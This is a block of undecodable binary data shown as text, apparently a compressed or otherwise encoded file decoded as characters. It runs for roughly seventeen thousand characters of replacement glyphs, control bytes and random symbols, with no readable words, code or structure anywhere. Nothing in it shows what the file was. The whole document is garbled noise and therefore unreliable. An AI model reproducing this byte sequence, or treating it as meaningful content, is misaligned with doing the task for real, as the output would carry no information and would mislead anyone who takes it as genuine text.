6��F1ڍ�/hމn(>A��I�G��Џ|�DY���3-U"�D~���J/7��3K�#�-Hk�|Κ�r���3�%�Ɩ��$�,�D�YR���/B3��a}��ę@�J�B�Y�8FS��O���g�(��ܷ����Ұ2�w�T|=q!|M�U&�����:\����:b�q�����-���͙o:�����_o�\��Ɏ^��}j�L�~j΋d���a�Y��/M#���,Jf�p�hj�$9D�!�H)�O�j�	�ؼ>=#�fǶ.b9;��:��}f���}��a�3�%�w�8?�2�����yF��C�r�1٦V� c���~{������c�TT�%�)���P.]�Ǖ�nE�Y�E�9�(�3�3IIi.����M��͆�cR��~f�n���p��Q��މ��o堦�z����)�����z�	���+����&%(!�B�H�B��Z��d�ѼME7Q�yk7�����H"����!�M���s�	S0M=7�k�s�B1*�`��g���D.U��?���-w�q;�]��$��SB�Z/��o���f�h�7����4,U�{�͢��r�,��4Mߥ�0�N)Tklo~�1�g��z�Q(��B�D�t�
3M$�WGA{�Gf��x��B`c��Sn����+LەG���y�;�e�� M�sO�Xy��!_4�H���}S�(Ъ��Umߔ�<Xu{2�z�I(=�H,���7*�>�EB�{t#&�1�=���6ߪڛ�(29&�&�N�w�b�O����4^u�w�%�Q�JKZsj�:��u�@�-�1v�_�+�E��#�X}fԏ!w藘���[h$9��iV2B�L_�h[x�x,eg���eϦ}���i��V?gK���p��D&��в�]|%�?Ӳ�E0�t���yܰ\*y��z���^�vY�rE%l�A�����/���c�g�{3����H2�&�Ɨ.W[h�u����F6[|G?OU�>׈q��G��b�d֕��j{���Հ~�Q,	w)��C��N��x8׃��<&�֩�zsɘ�<'f�T8����E��\�$�|����R��Rr셀���4IY-+#�ֆ����T��m�E�ZK�M��([����U3ހ¨ZՈ�\�ģ�ۚut��Y��E��D������m��a�x[Y;;�����H�b�� ���4���>�)�Z�����a
��Cm=�I��OD��)9�'��)�O�8F^\L�+S�F	[�˧@�Ql4T}&&w!i����ګm,�ͤ0B]뷽���_�!��J���#)��w�POf$L�4�d�P�9��P�a�Q֗R��z�j�dz|���Fx_#�;�2��m��A�@�Md�i�݃J��ʠ:p�����9���'�n+U��Vc�Ȑ�l*�Ɛ��
s{8qo�K�个��֠<T���ǚ����E���#�	�N-���SG�Rk)dN��	����o�2���,���p�!�UX��zطM�Ữ��̌PB�Y�T0��X�f0���Tױm2�Ϥ���&'�/�M���K�Pnk���s�c��4�(����'΁�,z�WeQ���	'}�icI�rK}h&�V�=Y�O�-�:
��mz$m5���^-�Q7���҂Zb_����4��F��C���Cۅ��~�-2�Ig���*
�+�P�*C�F����+�bA{lZڤ��>���z�;��GS[Z5~�[w1u�_�sL�4���;���߿���jѭ�"�;δݟTC�R_���*�����*�H�Ȼ�?����o-�<IS�l7��(��3��{�3���Z_M�\<Kv�S�aW��ק%��n���Ͼgs�#�{s����o)>�˾�=q�5Y1���CƿIHC~�Ѭ�T�g	]�!�
�SW8v�B�T2K.��iO9Q��(���P�3��FƄ̚
*mR�&���K�y���	�_ݨ�O�r�,��zS+����QoG�",�^M�s�ڮ�m�(�w��a��bߧ'Κs"�_1,���[��T��u+��:y��}J�p���?��O��S�r�2J�K|��aY��䬖�Kbt29��7
P^�I}���?��0Ň����TNq�h�)���ʭv��ͭ9v��f��ӊ���
T㭺�+�n.
����@O�F��b�r��Ms��C�;�+Ɔ��q�w�:����U7�c�K@+��&��w�����3����&�m:wx�q�O�� ��U:�1�	��+ߕ��t�B�R���W�0�#L�]��(Y�+�����R�7�[�-��k�ԣگ3�Pl�ut���2�I�x��'i<fd2�7�>�^.g�Zpi	B�'�AB�^���$�k��T	��-ͭd=x4`n���=f|!Z��
1����=bt1ىt�g�!U�m����Ww�iɀA����|���L"�t�=�n�C]��$�Q�Z��a3o� eC>�&�C 1&�^�P���L�(y5Ƒ������˨�����Y��r}T��L�3iSJ71�7�q�i|ãAw\u��16�*�����tH�ߔ���kM-��6�,�N�Ȳ���@d�uk���u2��~"��,:��0er=Mt\?�׏�~�����,]p@j�=����ё)G<�գ|��rb-�%�'�/�Xn������-�v�aVt���ZY�3#Sth�R\�k$���X���Z���\���-���2�h����vWml�-�ܪ�R�3M�z�_�t�Dcw���:�9>�#7D���:u� �I�����6r�(�7���o�F1�������m��$��gkpےL�΅b��18����3ȧ�a���eh��򅠋*j�9��N���}� d$*DS�B�Y��F�ċ��.�W�՞l-�u!�}?P�C��cgr�6S(��<�E���T�Ֆ��:�O�oB����E�CerȦ!9dә��P�QŅ��	+�ۡ���6' �T��0�g���{�#�~"̑D�ثc�b:��E��qჱ+Oj=�5�HD���7�ID90>i��jC����3��Bk�Pm�Iga�$���d*c��s�i��?���^Ɵ���vƟiKٙ��XfX��V���_�V�ƴ��k+k㯷ij�n M�[>����������z3�c�k��q����&f�=uK>6�;n�i|jbyH7yF�5q=^!I0�ob|����q��r�#z��7�?n�5|Ir@Nu_R%� ���[��$�(�
��_�v���$C�lN!�(��ܫ��`��x����	���`c�`���-�mr��1�8�%��G�q�2J�?�h[kj�>�.��#�1�6W��0M�}?`-e��d��H��=��#@��#��Q��lԅ6֓�x�d������2����r�Q���z���6[���V���ü�wE��n�������ä5=L����WRU�����7<��0�
I
���F*����n%v�o�q�DZ�j�ß���H��i'�d)�'����!'�2�턌_OZ��OZ/�m���w�YGs��;��B�u�CD�si"���?ou+�9o5I�y+�>�y��P*����w���4�>�aM��pLtm��Q�:s)>��h��w�c��a���Q��i^V�2�) U��ޙ�cw^	���W5��fV.�h1V�d����p)#a	�l�� �s��K�Y\y���*�"�᧊lv��`y��| |ڼ�����N�#�Z�g���(�j�Gf��T�Mw�5xg��6�\fOS?8����z���7�x<bL��$1�4�NV�y����$ǻA�.R��ZI9��fܜn���ɸ�ļ�k�5�U�N�s��朲��p|4g���QwR��-<L��Hw$~�/���K�_����J��s�XuB�y��)b�9���X�ϧ�]O�S���e�Zw���s�U������EmbA����߽��i�� ���”�S��M�'H�k�:]m?2K�3��1A�OCIG�h�]�'H��c�Oc��<y�c��6��n���F�`9u�\3�F-!~�wǞM�z�A���}�{1�v�ᰦ��{!m�*?����+-��
=����E�?9^ł]o��y"돤�u9۵y��n3����I!�[8����ҭ���:���Y�L}��ξ����_�"H	�D����zA�uv��ZP��wy-(ebsR-(�y��5�����j�||��1��IڕO�ݑI�x�,�)�Q�r:jo��o'�[L�qM��UU�.���<ƒ�+n��ώ
s������h����,�M��͇���|h1%x$�m	V�lLp�������\�Di.���{ԓ��
2��|�4���/h�p��TX��"Q��3��|)��)�:'�p�?%�p�xN�DY��m{Gk���N���yv.�o����ͷ�3���v^�z������rbO���UY���|i=���4��xR��dڗOqһ*�fB�o��q�d�tN���Ƀ��n:)��i��Ӵ��6;�Ѿxc�I�9�ك�)��hla.wj����(��s�^�~��a����r?���qW����Ae����i�����s�T�
�pP�rۮF1z'*f�ڛ��&K��#�aH�{�\���nYJ|ĺ��k�T�ؽ��=HeV�n�QW��~y���v�<�ۯ�7]��zx��� �_� �x�$�}��F�L��7z��y�h�2•���!g6M�����A'ڵ�.`�}��l�VR�nj�"JRֱ�Og�y�7����3Y0V �p����T�{F�B�qė��P`�<����s�����	�6�zb�~�7I
�/M�ϓ�3mi�l�g3m)gU��8��e�x�c0K�@��YV��Z�--��o�Ờ�6�$�T�Y���豤��aiU�j�	��8�݂���*3���}7U�Vxw��ՠxV?�
��3Չg���;��aᚺ��}9�))�S��{�^*M%��T�3�&�Y|	h�sǁ��W����L�ĬI��}E�M �|�Z�d���o��݉��p%U6ސd:׭c
�T�a��g>v��=�/��{�����}?8� ���7J���N1��w��y`���.B�R��Y]\��a�m�]a���ˌ�8�d��lb�K�%�������4�s����̻�~9�Ma*��ԥc>�t�6����,��qM���{52��w)⨿n3��`c=2����tֆ��	�B�ń����JZt��<�ʜ[��gڒ���f� ��f�ͧ��a�Ʀ�c�����w�_<�R��r"f�_�u��Yox4(S)k��Ts[�=�3�{�����#F��4�%�	$$*����W|X��.0��
��Z�HA?��?�
\�
��O�;
c�+��S�:]$�>��a��589s/�5 D���H�g
W�lPa�?k��~z֠�|{e�\J�6:<�����	S0��r�=kP��^9^0js=CP��r�E�@
�#��
z�n)��ɝ�h�T>�c���i�iR���t��1�TP������ko��u�����v{�Ck�+W4?������Wɉ�n:"B&n�q<co��le{Q�	aw��M����K��3����t����#�UE,�,A;(��/ZX���_�aӾ��VS
ш'��E�\��/_m5�%}\�U9Fj�l��N',Y�0�HȍMW�`�۴ͦ�wOB�'����T�Rt������s��|��]�
�
�u�z�y?U�4�^N��S���u;��ϑ�o/Α��/�#a�&�H�
����ur��w��V؇a���"㮙h`��DTx��҇yG�V�5����W�HAߙ�b�<zl�
vGn�fY!v�R&���;\ҠuR�i�?)B��>�+=2˟C�l�T�zsYP��o��ɻ���=t��*	&}�Pė���y������}�
s����J���CY@.�- �?�L�d������Aܪk�A����|ۓؼ��.*���a�j��ʗ���z��=M(��^>���JZ�u������:���W�uV7�?H�W�2V��t�d�
r�ۄ?���N-��������T�J����-�l4��*�}̮�'R"镊��s7%�������d��E³�*��r�B�j?�1��@�ki��:�*3�X���4��Ay�Ǿ�Ϥ����}�[�aj+���x�I+^�|?��lJ������&����O���Y����h9jؤ=3-�ۭO�L��ԔE\����(�|T����'��2��'b1S���L�j���X�OD�<��;.��X?��(�s􆦬��2�`ژ���z8����XW
�G�Ǭ���9�W�fy��#u���y@a�D�O!���״]m��7��=}���K�ȇ@Ql�o�ޠ�WK�lď5�%A
��v�����A�Y��7\j�K{=�������?�473�`ږ�T׺���l1��Mn?��`�[f
��<�h7�E�
�B�%.+^�P�H�u��{d
����>Q��[�	����h����jo�l9_+V����	:��@������$���Ji�,�����Z���R�,~@����R�-�ׇ�@�zi}�0��O~GP>��?�x24�o���o`��M!G�9�T�й� ]_�rP�y`)��LK��nh��6H���0�\\	��`VF���Z���;#�i񋀑>^�02���M�Z
{�U��|��`�q�Ll�Ѷ\'؛�yy��\�w<"�'�c��7���1o��E�S�u�y�z�/h-�[BWEu�t��
'ԇ~��F��^���EW��j5��'�ܞ�fY��Bc�Dǖ�hLLQ�R۴�?S���
qPL��	t|H(��$�ˠlZ���F6�A��Y�jO`a�@����uɈ�z14����Θ��Gܞ:�o�,X���fӿ=�w�d���"Nf�
�W��v3�o{;d����E��-LMW�@���Fs��n�H��26���Z�GUyey�Js{�V!��,٫�
�֗h���9�ې�;<�vpY��}��E��㶜z�gi���gך��z��G�H�0u�aWb@���(�Q��Cl*�3|b��3�����N-�3u��(��#Fq��:�f�bp��}�)	0�xy��-��EP�8�.���ﯻ�I�G-"A#tm�Hy�
� ��l;A�1�pW��^4��/�Q�N��.��f�T_����n=��c�>A��(��=w23D��e6�C4}k�#	�_!)ⱙ[͏��pn�-�!�p�\3Z.�����F���MW�k�Ў^�����Œ�Z[�����+U���baB*4:��1�X��>�̞�2\e�����9�^��_G�V�@�_]�ǔ��x���j|�z�8��wd8K�a���f���Q�6h�Y@�
1�X��N��b�j1�0\3���Q*ǘQ`̤��*������J�s�e���q�8��w+��a�!�)�Z�ii�9}�����?���s^55t���7�k�s�d��@xބ���ˎ6�)�C�+�#Ŗ�U���:L��ę�)������8�E�w"|�•ş�E����ܡ�-k�z��	Uᮡ����p
�#��
�D�^V��QI �j<�Վj�_�1�% �h�~™��ȠJ}��@�@�i�֫cN.�+c�L���kο'�٫ 6�8�]Ǧ�	���i&��%�܏���g��M�2�'oT�WJ�����|���ki�;�]x�"�wQ��I�;3�a��3��JN3��K��*83�a�3K����+�k�����w8���si���Y�0���0�p��v��H{����S���^F��9L�����z]x�p�r�/q�%�ܞC��*��������^��0�p{��JDq�J�U���g����jQJH��<t����b�0��N•���I��wcP1Lc��Y	��Z<�pO���Ew	x�A9-��eP����4�+�
�"���3(�����>���|�0��Ơ�g�4�à'�9���Me1�Yc�S�͠����Ig��1(i/�aP�^��O����o�e�5.p��5.<��^e��{�A���>_�!��zR��n0(�q�;=e�!O9���������Y@�,n�<(��Z�?��F�7�&#|k�x'E/����MXM?$�6/0��@��#SҵJq�[�9b����d�WGNS�ˇ���Fq�H|�9��p�(������+�Q�9ؔu�G��4�VtQ<-�]׽"�J�&:+��^�J�X�Y������ih��zW><�`��75��r�4O�+�(=�z���|��7�#m��E��䲾�e�����'(\��(WW��$�eܕb���iO�#��c�?A�*���B�t+Iӗ��ק���Q�A�\�b8$�A"]�G`}+�B����j����WM��(6���jx�-"9��I
˃�K���+/h����Pc`�ä��0��0iH�����UYhV0`û��n�Ţ�Q�X#Ǘ�M��:^��T�8�3�9�T~Ej��%D���9D���0��ޣ�5�N��W���*1P��0�Ó�.�%���ʹ��*�r�Qn)���5'aڜ��*�T�l��P�kXm����֟p���d�1h�]�}��ӌE��c�[���r�J������׫ɫ�����>��/���3k�Z\:�q�?]P�rq��UK�8���cE�6Lf�7U
4����5��֘���t% ��9�$C�Gk��5��݀��QΏӯ��e<;��g���(Z���E�%��\��mg,�u� �\?���I��.�9Tl��j��N0�ae|I/Cj�H*�J��~w�[�8��(�$�DW^ �< <��-|*��N��F?\d/!�hi��M���p�yQhm�!�i��2�P,�wG2�/0	~��B��y7��1�%��P��M=\=nn�z����𦮾ĉݨ'����f������Ѡ��e����4ՙ�8.
��`�e/�����*�|:'�t����ʜ��"��vr,6��\;ɣ����:���.�zMϸsN�wn{��2��QXĥ'���v��Pк��gy��ބ8���5H~	^Ss�\��}�4�ܔ�c��P��u'`=�|d�Pt�G�%�nL��fN0A3GUm���"̸|5�)�.��>�,
�/E��gH� ���B���4��H��&Oz
Z��Գ/�)U�P���u���k帏/�m�Y�.5�����
1n쒢dC�E9�hk�?K�ͽv# �⌜����8��y�2[��8d��í����P3s0�89��8+,�xܛ�z�""οTD���k��Ǭ��x�-��V���G+�U�q+4�(�&MV�+9�}T�\m�>�h,gN�H��S��/�ܩD*�P!w���;f�jھ�N��P�M����`s~B���oe�`{�p
՝f>��{3〢-<!����<3�3���j̻�����4j����mi���%��NyU1��#v�?㭞�F݌���[�Qͷ�~7@4p��0��YoD�1��Q�����5,�+_��qb�›�Į�-��q'�a�ub�8aNg���V^�/]�J�C
�u��}�fj�/� ���7|��6��5p���aۭU>�H��R&?�����),.�v�>���M�,��P!U�^%<��<�[�ŵŀل��4�o��|=#ܖ�k�+僆J-��`�O �@3�'d��A��z=gȬ~bZF //�6?bL.)5��$<w������*�.*���R�W0J�vfK&���"�Zǐ䠭�6U�"���!_�Ubj�i��9 ��j5�x��"0o�^q��:q��Z����@��7p��c5����s3��L��H�<�R���>q�?uP��/T,��KI���{9yx������Z�H���b:��q;��OTO��u{�3�w�c��+�������8�캪��!����	��FR=�P[�l�w�u��V�X�3�S�G�)F����2�3Mcg�i�>$����r�7��~�V�Ւ97��A�r�7v�S�DK趐z���b1��z\ �4:��0�O���o)2@:�sk��2g�:|r_t�k�1��󽴍�.�˵��a��h�=H\T�m�pa@d�9b��pֵM�#������>z�=�h���	c�����u�hT
����4�l��]����O3���Xw-܅�Ej0��
Z������_M��&��$�`I�q2U(�J`��ݲ&p�_�WXL�2��D���2ˆ�{f��{�KĶ��ry�@�VQ���<F�T�N댉s��Z�r��iu\4P��z)#<���X�7X�@���2�'L�U#X�>��Y�̪:?Dt�~Áo��U�HM���@������ |z��<P��=o�3c���
B;���-]���U�;I�F�
p�K
��b3�
B�91�/Thc�X�G�	�PxV���;k�CG�<*s)ܚ�=�j�C|B�����"1�����Иګ���䲡&��~�'���?�v�9��|�A,��?K�3�EBer�'�O֚���ЅUn���	?Sd��_,�~�c4�g�{�r�:��1��υC�&x
�C�C�+O�u�`8�P�=��s�d���^<-�ۍ�P:�6H��-�a�kb]=\:n�'�A��Ս2Ҽ�{@�W�N�qc��)�Od�N� ��5�L�eg��T�t>��-�68@X$W�ܣ�o���w�<#�&:��ZZ%�=�a���>�W�'d�D�X��Չ
_ԩ���H��FL��G�d�$\�E�����mo_��B���-���\=+7�У���	�e�pΕ�/4�>C@V
CJ���>�1߹�О��/Bi���.�@��N��B�~��FbE5o���P6�wu�l\�K�ؗՇ���Ϗ�}�U���(�(�P����)0{�t����x<
V���2�����1�3����3D�,�'��3��K�&{�^&.3�%�q=��/R��d��h��/��.SUB����l�t��6}S���Uq�'~�v����/2�8�Ċ�xX��R\k�1��nJ��쯒)vik�`}Ye��8�#;��2�u��yܺ��;	wӇz�,�\e��/�4���ߋ�Ƈ� �5�������v��
nH:��]���]>;�"Gh$�l�8���$��|/�	(R���w�����3�|Y�7��p�'wA`�~��N!�\@������5����Kw����_gx�����ʆ����EE	%��5�&q���V��o�;�nաp`3���m‹�ʳ��Ad��]'�4��f��X�#��%얘$�ku,m[�?!� Y�W������'r٪*��ߜ����O7kb����q�U��ʙ����|6��V�EW��6��X��
_
 AG=D��"�z��Hhu��p q��8"�@�M��HpΌRv"C���
R6nM��x��9��/�.z��*��j� e���km6:y<�p�����>*	d~�r�1�Z�Y��%IaQR/��ڎM9&��}��?M]6�|1P(�5G�6��P�8��V���г��",��t�HN���3��(4O!*���;&�bO*�o�h���7�6�)/��IG�,C�FM�e�)6e�o�����F�3KOUݪVI�����qfx����
q;��:nj�t��jU
���j��1��^�#��!������n�Ta̼3fiy��T����t���")<�vAx6�����#b��X�f,��;fl��tV��W�憅��;��[�aB�Ux@�o��8@<ᆬ���|�F���X0�+3#N�P�����s@w?+���c�zT�"�\բ-`s�r��Wt��0u�#���d��r���h��v�P��D`F9$C� c"%�&Ć���� �A9T4r�*�$G';r���a��B��IJ�"u��1N��q�.��`'gDc&����[l��J����)nfϛ0�)|#˓�b��Pz�h*�7���.|������.�����#'�s*����R��9���\��O��/�4���~.�+��1�R�������E^�O�_��Q,o�H�d~�a�Q]�`��?q���jH����
�Ju�?%�_s3C��ǿ��0M���'r��$mk�f�h������kk��Uu��I��*�Ay���@b��"g>���:n�Δ�YĒrYC�i��������'0q���z{Y��j�y����$+�V��4��/z�]��Q���pPB$C>��1��9<��x���Gtc]`�ŋ[�(�|�a$�����T;	ty�Q���̽\���}����\б[�*�;	S0M����y�^�\p�x��F����5�&�:�P!%ԫ�
�nш$���Z�
"����f#��J]��m��*vX/��J^/�RW�B);P,�!N� �v����MJ��_R�JN�L�X"-īɯ���Ĺ�g���)[Pj��ǣ�-I:^B�[e���8�H�N�Ĉ�gO�%���>a�g0��m��,f�ARx,_(�����������(j\�[���7�B�V@YySJ��Iۯ
R0��<cP6�ҷ�p�xP�h�SW��el�s�x'���������8�����q3���Q�9����W(��Y��T��:�d���ۧ��U��W���Q��n��0u*y���q�.R
�BY�H���:l�$NM}#(���Cܯ.,�9㛺�����S��>�r3����a���BM�"�h9t��)��%q8zXuR��aGTiRh�G�κĬھ�!
hO���N�ݦ~��l=��L�&׸�P��4��Y-t|&,|)M�Q=�ḡ����zn�#|�ǫ��E��Z��Y�tɕ��U����OMov�LZ�BZ����mC�t�u?�a7��59�+���z����R_��n?�,�h�ǔ�_�6���[.���ۯ�ĸ�����-/�:���a�3_oo�Ϛ�k)��>���������(=t~���8�;��l�n[Z|SD�+栕��c�joBDL\�{B������FV=���q��6GP�LXEt7�S:='T<)�%���jɩ���U�AǮ�춯���C��^x@���}Ka'�����<�ƧK��eN�Į3�U��y���[c����<�4v��
��4.q:Ka\��BR�	��y�gm����E�eI�o�G(:bSʠ�@R�h�6D�N�xm���#�f}�Ao�卖�n4�����F�azb���8s0�@�1����w)h=����!�
�u���MC��Ԓ\�KrI�SԞ<ba�\�Ħ�J�[WT�N�8��3TD���U>���D/D��������n����/������8�GA�F��]��ia�dz�8W��G���،��] 4y����Wr�.�:�*);&��Eo`�V��g��!�!==Na�ޠJ���cT�<ɜq����ZϞ(���zhQ�Ǎ��#��y��r݇��
6���|�v�)ȏԘKD7I�Shμ"`T€Gn�A&�hv�d'2��b�xL�$��9����@��d�_�j�S���2���Vk�1��'����	��[����d�H ��4{�i�QoG���<�3":p@D,%ϔ��Oъc�NP�F ��t�ӊ�:�әx̐�F������d�<֎.#��� JĜ5��Q�y�ed�.��=��Un�7w&�TM��i��ۥ����^e�	Ʒ��.0��-�S�s�v�2Ҝ�aF�|�:Y9���ϺL��T8�|�6�MC�L���A��)�B'q&���kz(55ˈ@v�1#T�Ll�c�|x c��F�����\�Y�U#�ל%Q�1.F���xIEϧ�����K�	n��8���q+`G!}�Թ*���g���$6�dh=d:k����E�ٸ�da5 �y
}�S|����F���.����y3|�(��."pVM^�,�^N�|U�X��=Lc���˸@��H:`lE�E�H�Nڌ�������Pޅ�����U����5�.N�R�Q�gs��N��J�T�{�w�#Ѓ���N�G_{��:NY�L>kV�o���Ľ�i�/9�(�f�#č�gN��y�0p����aB��>���}'�0C�pڧ��
	�MkϜۥч$�8y�RM:W��!�#�[�q�R�ZÚ1G�W�K�
@��"M�pw���a�S��O^�(VD�F)d����D6�B|xwaޭ]Gv��[B�s�a�hoi�����xbr�D��#�kζG'=B�6Po��7�6�8ϳW�a`�ܺ�N�z�������8���� F�IN1p� a�����|�i{�yXt�����/��/��l����+�*���	�"�뤔��ce3�/�=��a!G��b�,!���r&I����ȩ?�s�x����] (��w����u�eE��]e͋�$�����RXN�Or��Ӓ`ޅwa��8^����m��E��
�؏Y�M�����$�~o/E��T!���zbI�<��,��H�,�����|�@�[b�uY;���c9y'���S�֍���U9L����+�Q�"�	KR�K�wfof�Οb,��v
+�Jg�PF݃���:��ңrhJ��QW��{�n�Ӄtp����+]��i{6��Z�l��C��J..1���������,g�!��vH��|H�l�K�3nt}jU=��=�x~����kǼG��f��b=�U��n�����`�e�b�.4^�C
���!e.��UN�bA(�%�3� R0�����5�+?�����y��g��C³G���!��i�i/��2�W�+�F��ۇK+b������v]�)J�Wڪ����KQ�ֈ�|������'�h=�,�XmD@�U�+ѣۯF�B]�oT���̓(��Dd'���dN�v@�})p������	92���'����6��e"\nZ����3�(�5���F�(3�9��"�F�Ţ"��%i��u��J��׳�R1�{:��Zq�Ȣ�W鏿o���wD5�vF�W��R%ώP�4���e� ��w�6�
T��+��F�Y{kF�:n0�' ����wN�<����E�A���$���
o���G$&=��i�W�-u�ʬ��#W��6����ګc��}o7��m7��z�e��,�7��'Ne'	�%YE��a�z��(�j�$Q�|���6&��'�^�r�ؗ��^M;�⺱ljy�Z
���!.Ǹ��U,�N�;z��=���w��z#��ӫ�GIoȟ���d�%H���p�H�O �\��F���}�X�Y�ƥH|Ͼ��ttI����l'H���"�[���S�x�c�\囨�QJ x>t�ckY��O��h�{�����
�ج;ڐz!*�d�L�^��̹�\3؍�T�_�ԍĔ�u���W�rXs�WT!7���8��-ֱG�2�@\�s��|��Q
�zị6T��Pݠ�ku��0��\�QЫ�q`�7^K�֘�f�U˪�_|ϧ.����Q�ٺ�pNV�46#���'�;��&�L��˲O���EN�޷

|����J�" -��b�0��I�x���:�����8�:�^_�o�Mn��[v������%֕c�F�҄=*'\P������#�B�/���'�%�B(Į�w#i�.�dzU�
���b01
>np��KH��� 7'(�8�ܚ"j3x�[ZW�5,q�A֯��3�W��}���QX�#�r��Է
R�;
��e�B0����o{U�;E�o�2��>��ce�n^���h7�ջ�zCuM��\���K�vt��f���_IƧ�Dl͑���B�(�R�ŵNL1�sJ��fK2D�3�uUG�4��cWZG�3�����������2��q���ƞ8�W�pkAC�~b|s�ˆ^L��vD��_$y�����q\	ʕ��^�q	1`�C�����C�q�1 7�s�C���C��LұW�B3��"H����;�_#Bs�n�*D*2�m�#d�1��G���ph�e�$��<���u��F=Л�����r�P42�\裎4��y��&�ez/�X�Wи�痫��ذ^ (����{h@�������M��Տ�2�pr�������b�a�߹4\ܠ�b�Kr��D�WA���,��g�M�>�w�ru��&�l	����(Jd���T5L9����L�S���.�.��,�����x��0��?/��]���\7r�0c(�&��E���N2��IaV��`%�7��Z��ՙٮG�j����EI3�T���&	�4!k�z̩�A���<���GYܧ�
y`�7�S�c!'#��B�Ĩ!l�gF��o���%���s�g��ԗ��u�딾l�{>ƙSޜJ�QNJ������!�:D7�N@�SQ��&�c���B�0�|o��jQ�g�'<,n��9:E�m�p�`�s����M�G;�Ѻs:E�^��!5�4h�LV@�4G��m	�*��
waN��߀I�U��xg.J�ߨ7���+T������^�%��]T�U'U�~��x�}%��w2M��5$�zYƿ���K�1�� �;���(�����
bI��	���^zO���H�=6��� JȈ���\��	�)-7J.�����f'޴�?��M�~��7�2�8(�1ܢ��CoP(���Ppٸ����!�'	�kL������M����bf?D n0$o#|'�XoqR �m�96JX�q<D�/	SO����Oѯ=\���H��Q���s���a�iT>x=�֔��Xu�
�"��p{�����1 e@M�����E�}�#���%T^�a%��2�7�x�e��D�,�+��;n�A7�x�����:�\T����ެo=���� #a	���Ӝ�؉�;qԩ��+iq�r{�
k���
{wI*�ԗ}�-_!y��\���-�HoEni]?����|�����#��5_-?� _�l�b���%��d��
"(�"_��{��k;���Ý�jQS�w�׭�{@������m���+��0������OU��x���2� �ٸJ!��YۍO��z�2��W0H:��%]F*⹺�ȑt|�'cV������PU…�M�K�5Z�_v���e�w��RX�9��wla���=L�K�49I�M�-.��b#�m�U��؈n��
O��������F�	D�8�/%24
L��R<���p�_��+[!x9dQ
�*~i�wf��J5�m�nA��8�3�δ~,��S{���n/�^.�8�V?�UN;�5_$�0��y�	���N�D!I�<�WrC�ut���I��1ēhx��9�h�U�å�E�6�9dXҠl\������'�Hޙ�nVe��~�-�7�N�gu+��$��t�K!��k�\U�<��/���̅6�G'�����ȖH�Y@]��$�zpea�E��%�G��`�5y� �j)$%�D�R��>h�4T�A �[�*�EY��̛��y���L~����4V4����R.ddQh��d@�M��b���.K_�m��'�" h�ְ`�;��J��/��X��&/d:�,G�*`�4�a~9TG07���q���r�t�#�rr�5�%X������}b�I0C�7'��`���
��k@%o�<]�� �U���n�1\�3���[$�F�K���K�(��gr{����
n�ux��ҩްXw��;��1�ިZ����1S>�p�����aw���Y�b��f����l9���T�Q��f�G��"C�a�~,/�t��pw�Z���U�`@��@�^��������08�W>N��i�1�YJ��n.<72�gh�9˷���"#���+*�$N3�osc��A`o���pI^_��NM-n0�y�W��!n'/b�E{���I
�.�F YE��4�*
�����_uo	������r��w�w���>�v���i�q���Kh���X��o���%
k�V	(v��V��Ef�w�i���FL���yN+���2�YF/�̡
����4bp�I�.����ӂ_!9S�:6CFK��-bou㇈Ns�!O|�T���Z��ڲ蟉�YNXi�ܳ1�/�H��A��1����tԹA������{��1�������2��Vx�j�^r��zM�v��y����~�A�*��k����!�%ˢ&�d�+�' �x_�U�����X%
>�f.2u�jCX����������q��uW[m�s���W\�U֨dU���*�~�@�`�u۲�����v�8���<8r�n�B��{���Km]�4��(.؏m��E#�%(��sm�_)D���_r�:[�"���X	{����>ą�b��_{�渽�-���������*�9h�K����i7I��!�
��{Hk$ㄩvH��9���`[��1��;�+�������&C�� 1;���wo^�h�x�`7`_�U���u^8��:N�oP/��sƯp�؏��0<[(�>�O�����S%�R�[�H>F�`1��_�d��F������yH�S-�M�!�}���3�v0�N
���gqm�\k�Á�
��+�*����z�8��󦱈�qjhfv�3��޳�Gil3�Qz�A�4��p�n���|�u���J��O�S;=���P_i'���+}��HЍ�eB����J?�Q�
S�+}�#��4���C ���$�)�!�+��|�����`�	'�7��0�JOP���R���@�=VX�ÎU}���_i*��gZE�8_���4�s�uB����� {��z��cڸ\7�H@u��2\����8��K�n(�/]el�:�C�ş�����hL@�%s���}
���z�*z3�x���<���������E����+q�<�6=^�S�Rn̮��'L���T�]��4*���f�A����81B�
m�D��$FQp��,�'�0(��+����3��Uي�.���L�utO��M>����Q�&}�6���K���,N��2t#�����M�+�C�J�m���\Mn!2+�o��6eSe�M�(Y_�0*Z�ǯˇn�>����|��ڡ}���I���dKqNYuǏj�{W[Ꞣ��Q��*à^ƫ�
�،|�p����g�&��}��/���X��У�53a�/�ě�	Jl�{|~�0W�9���s		XC=�0���]úSb�7ޓ�HS��&w��Ue�j���|Uv��y\Uc%�.	NX/0�i�_�X�vD�?x/I<+^��xOȉ�VS�8�&��q\/²�8|/��|i���&�6-6���
n��-̣�a���0hF���b�D�F����d�MϺ9�7��p���&�
By-�xa�p����|Gkp�{�k�f� �f�m`��{O<{�P4~w���I3z�I��8u���=@��꺞����e��e���F�kk^�Ea���(�U5+�B��qL�~qX��-�E�=h�Q�dyLA�"
ݧ�TG(@i���y�	iV8*m�ߔ�7p%��/���ϊ�!��{���ݪ�#?��8J�Ε�N&�"��~�лp���T����>^Y�05�����b�Š�R��/x��]e�H_t����\b�m�q	�^���+)�r�E�܋%
�܄�D��p�|�_�1>��a�oW1~qA
��E�Fǩ�¥C�z�l����>d%�Gn���s��c{Ru���,� h�c�^C��ԩ����~N`�/���p�&��O�q
ѣ�_ @Փ�՜7',䰱D{�`2|/'.��1��ֵv~9\R�$�K�|� �W
�����|T�C>\��U���ǀgi��|�M��2�9�ّd����Ǧ�u�I�#^Oɬ��@�{�IGٍ2S->*�Kz	
nJ�ϝ� HM��F�T��*�G�!s@������U��p
�Wo��^�����U~���3���Q���Ar�(@�4Mò$��݁�w���LwA
gݜ�Q'��>����]��zU�4�>ӛ��ybD�mx~��ئµJ�I�JQ�r�g�*?JA���޴�53����~Q�~��/�NRe:\*��O����f�J��8`��؎Kt��pG
���[�Cav��f�P��s������3�U'�������Þv��㵳����*4AR聜в�ehh�SԭD-i�{�q	[_��Ԃ)�ÜfLU1�fk�?������R��I��R�ZH����-���ކ�ĵU�i�I~�%�۞f�jJ�ٰ�:>��M�a���%���4w[3���X/��#�(��v����*<Φ2�����1L����6�G��!�(���#)&��B֜UDIr`�$}g�b�?��
廄'c��]
~]�32�7'�$�:�9)%Q�K�Fצ8�� ���ǘ�I���!A�'�n�}����I��h���F7�Ҋ���1@��N�@���~ȯ��0U#�7�y��k�y����xhnB �y����) ��Q@���r�����
S
�2�V5\�>#.-8�_
